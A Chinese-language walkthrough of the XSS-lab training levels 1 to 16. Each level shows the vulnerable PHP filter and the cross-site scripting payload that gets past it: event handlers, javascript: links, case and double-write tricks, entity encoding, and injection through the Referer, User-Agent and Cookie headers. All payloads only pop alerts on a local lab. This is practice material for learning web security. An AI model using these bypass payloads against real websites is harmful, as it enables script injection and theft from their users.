XSS-lab通过教程🐶
XSS-lab通过教程
Level-1
payload:http://192.168.33.222:40577/level1.php?name=<script>alert(123)</script>
Level-2
- 我们随便输入
123,查看闭合方式

我们可以构造闭合input标签,如何加入script语句
payload:"><script>alert(123)</script>
Level-3
- 首先我们用第二关的payload去尝试,发现显示是一样的,但是没有执行我们的js代码

- 查看源码
<input name=keyword value='".htmlspecialchars($str)."'>
我们发现使用了htmlspecialchars方法,它的作用是将特殊字符转换为html实体。那么什么是HTML实体呢?
说白了就是HTML为了防止特殊符号。例如:
| 特殊字符 | 转化后 |
|---|---|
| & | & |
| " | " |
| < | < |
| > | > |
这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur等,下面简单介绍一下关于鼠标事件的一些能引用js代码的函数:
| 属性 | 描述 |
|---|---|
| onclick | 当用户点击某个对象时调用的事件句柄 |
| onmouseenter | 当鼠标指针移动到元素上时触发 |
| onmouseover | 鼠标移到某元素之上 |
payload:' onclick ='javascript:alert(123)'//
注意:我们用的是点击事件,所以我们输入payload之后鼠标还得点击一下输入框才能触发代码
level-4
首先我们发现前端页面跟第2关一样,没什么区别,还是这样的

源码分析
# 我们可以看到首先接收参数,然后将<>都替换成了空
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword value="'.$str3.'">
所有说我们的payload里面不能有<>这两个符号,<script>就不能用了,还是用第三关的payload,只不过闭合方式不一样,这一关是"
payload:" onclick='javascript:alert(123)'//
level-5
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 获取输入的值,赋给$str变量
$str = strtolower($_GET["keyword"]);
# 将<script替换成<scr_ipt
$str2=str_replace("<script","<scr_ipt",$str);
# 将 on 替换成 o_n
$str3=str_replace("on","o_n",$str2);
<input name=keyword value="'.$str3.'">
这一关我们可以看到带有 <script> 和 on 标签的都没法用了,那么onclick自然用不了了。我们可以尝试构造一个 a 标签,具体payload如下:
"></input><a href='javascript:alert(123)'>ads</a>
level-6
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 替换了<script,on,src,data,href
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword value="'.$str6.'">
虽说这一关过滤了上面这些字符串,但是我们可以换大写或者大小混写就可以绕过了,还是用第五关的payload:
"></input><a Href='javascript:alert(123)'>ads</a>
level-7
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 将输入的字符全部替换成小写,然后将下面这些字符串替换成空
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
<input name=keyword value="'.$str6.'">
所以这一关我们就没法用大写或者大小混写绕过了,但是我们可以用双写绕过
payload:"><scriscriptpt>alert(123)</scriscriptpt>
level-8
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 将输入的关键字替换成小写,然后过滤下面的字符串,最后进行html实体转义
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
<input name=keyword value="'.htmlspecialchars($str).'">
所以说这一关用不了 <script> 标签了,我们输入第二关的payload试试,然后查看网页源码发现

发现上面value的标签都被html实体化了,下面href里面的内容被替换了,那里就是我们输入的内容,我们直接输入javascript:alert(123)到a标签的href属性中就可以触发xss,我们发现直接输入的话script会被_下划线隔开,所以我们进行html编码输入:
payload:
javascript:alert(1)
level-9
首先我们还是拿第二关的payload测试一下,发现不一样的,现在变成输出指定的字符串了

居然说输入的不合法,那么我们输入一个合法的看看是什么样
payload:http://www.baidu.com

再加点东西动动手脚看看
payload:javascript:alert(123)//http://www.baidu.com

发现还是不行,被替换了,编码输入在看看
payload:
javascript:alert(123)//http://www.baidu.com
level-10
源码分析
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
这个题跟前面的都不一样,首先查看源码发现了三个隐藏的input标签

那么我们根据他们的name构造传值,改变他们的type属性,看谁能显示出来,谁就能被输入,我们查看源码发现最后一位显示出来了。
t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//
payload:&t_sort=" type='text' onclick='javascript:alert(1)'>//
level-11
首先我们查看一下源码,发现又有四个标签隐藏了

还是一样的测试一下那个标签能够被显示出来,说明它能够接收数据
payload:
t_link=" type='text'%3E//&t_history=" type='text'%3E//&t_sort=" type='text'%3E//&t_ref=" typr='text'%3E//
发现还是t_sort,只不过"和>被过滤了,再仔细看看,发现上面t_ref的值咋变了,查看源码发现原来这个题的触发点在t_ref
源码分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
我们发现他是接收http头部的REFERER字段的值,然后经过过滤>和<之后插入了t_ref的值之中,所以我们抓包修改referer字段的值触发xss
payload:" type='text' onclick='javascript:alert(1)'>//
level-12
首先看看源码,发现又有四个隐藏标签

然后还发现t_ua居然有值,没猜错的话这个题触发点应该在uagent,我们看看源码
源码分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
好的,看了源码之后,发现这个题跟第11关的区别就是这个题的触发点在Uagent,我们抓包传入payload:
" type='text' onclick='javascript:alert(1)'>//
level-13
首先看看源码发现又有四个隐藏字段

然后测试一下看哪个能够显示出来说明能够输入,我们发现t_sort被过滤了,然后就没有了

按这尿性,不用猜也知道这一关触发点肯定在t_cook,我们看看源码
源码分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
果然触发点在cookie的user字段,不说了,直接抓包打payload
" type='text' onclick='javascript:alert(1)'>//
level-14
xswl,md一点头绪没有,上网一查题有问题,溜了溜了!
level-15
不说了,先看一波源码

啥信息没看着,就看到个这个,上万能的百度搜一下,还真搜到用法了,包含外部html文件

话说包含外部文件传参点是啥,想不出来,再看一波源码原来是src
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
说是包含外部html文件,那我们拿第一关的网址试试

发现<和>被html实体化了,而且这一关没有任何点击的地方,所以我们只能用onerror方法,构造一个img标签,payload:?src='http://xss/level1.php?name=<img src=asd onerror=alert(1)>'
level-16
源码分析
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
我们发现过滤了script,空格,/,所以我们尝试加个a标签,空格用回车编码代替,点击图片过关
payload:<a%0D%0Aonclick='alert(1)'>
level 17
不会了,后面等我升级了在来填这个坑吧!
XSS-lab通过教程🐶的更多相关文章
- XSS高级实战教程
1.[yueyan科普系列]XSS跨站脚本攻击--yueyan 2.存储型XSS的成因及挖掘方法--pkav 3.跨站脚本攻击实例解析--泉哥 4.XSS高级实战教程--心伤的瘦子 5.XSS利用与挖 ...
- DVWA XSS (Reflected) 通关教程
XSS 介绍XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需 ...
- DVWA XSS (Stored) 通关教程
Stored Cross Site Scripting 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户 ...
- DVWA XSS (DOM) 通关教程
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是 ...
- Web安全XSS
Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...
- 第一次在新西兰组织技术社区活动:Monkeyfest2018
从3月份登陆到现在,转眼间已经8个月了.在6个月的时候我就想写篇文总结下近期的一些状况,一直拖到现在.因为近期一直在筹备我第一次社区活动——Monkeyfest 2018,占用了比较多的时间.这是一个 ...
- 2017-2018-2 20155315《网络对抗技术》Exp8 :Web基础
实验目的 理解HTML,学会Web前端.Web后端和数据库编程及SQL注入.XSS攻击测试 教程 实验内容 操作程序规律 运行脚本或可执行文件 查看配置文件 出错找日志 Web前端HTML 能正常安装 ...
- 2018-2019-2 网络对抗技术 20165230 Exp8 Web基础
目录 实验目的 实验内容 实验步骤 (一)Web前端HTML Apache HTML编程 (二) Web前端javascipt 基础知识理解 JavaScript编程 (三)Web后端:MySQL基础 ...
- 有关XSS的一个系列教程
在乌云发现了一个有关XSS的教程,目前有21篇,够我慢慢儿学的了. 这个系列教程的地址:http://www.wooyun.org/whitehats/心伤的瘦子/page/1 几个常见的语句 < ...
- [视频]K8飞刀 WordPress XSS添加管理员 & GetShell 教程
[视频]K8飞刀 WordPress XSS添加管理员 & GetShell 教程 https://pan.baidu.com/s/1hq4LsmK
随机推荐
- 用法总结:NSArray,NSSet,NSDictionary
用法总结:NSArray,NSSet,NSDictionary Foundation framework中用于收集cocoa对象(NSObject对象)的三种集合分别是: NSArray 用于对象有序 ...
- HDD深圳站:全生命周期赋能开发者,华为引领应用生态升级
12月14日,由华为开发者联盟主办的HDD(HUAWEI Developer Day)于深圳举行.此次HDD主论坛,围绕打造应用全生命周期服务,介绍了华为在创新孵化.开发测试.应用分发和运营增长阶段的 ...
- 2020信息安全铁人三项 pwn复盘
第一赛区 hacknote 程序存在格式化字符串漏洞和uaf,不多说了,很简单. 1 from pwn import * 2 3 p = process('./hacknote') 4 elf = E ...
- 2019"深思杯"山东省大学生网络安全技能大赛部分wp
签到 载入OD查看字符串 上下左右 这道题出来的时候真的是一点思路都没有,一直以为是什么编码来着,看了大佬们的 wp 原来是画图 拿大佬的脚本: from PIL import Image im = ...
- C#面对抽象编程第一讲
闲话不多说,面向对象编程是高级语言的一个特点,但是把它概括成面向抽象更容易直击灵魂,经过了菜鸟大家都要面对的是不要写这么菜的代码了. 上例子,这应该是大家都很熟悉耳熟能详的代码, so easy. 1 ...
- 『学了就忘』Linux系统定时任务 — 87、只执行一次的定时任务
目录 1.at服务管理 2.at命令的访问控制 3.at命令 4.其他at管理命令 5.总结 定时任务是在服务器上常用到的一个工作. 在你指定的时间,系统会自动执行你指定的程序(脚本或者命令). Li ...
- UVA10976 分数拆分 Fractions Again?! 题解
Content 给定正整数 \(k\),找到所有的正整数 \(x \geqslant y\),使得 \(\frac{1}{k}=\frac{1}{x}+\frac{1}{y}\). 数据范围:\(0& ...
- java 网络编程基础 InetAddress类;URLDecoder和URLEncoder;URL和URLConnection;多线程下载文件示例
什么是IPV4,什么是IPV6: IPv4使用32个二进制位在网络上创建单个唯一地址.IPv4地址由四个数字表示,用点分隔.每个数字都是十进制(以10为基底)表示的八位二进制(以2为基底)数字,例如: ...
- 【LeetCode】1414. 和为 K 的最少斐波那契数字数目 Find the Minimum Number of Fibonacci Numbers Whose Sum Is K
作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 贪心 日期 题目地址:https://leetcode ...
- Log4自定义Appender介绍
最初想要在执行一段业务逻辑的时候调用一个外部接口记录审计信息,一直找不到一个比较优雅的方式,经过讨论觉得log4j自定义的appender或许可以实现此功能.后来就了解了一下log4j的这部分. Ap ...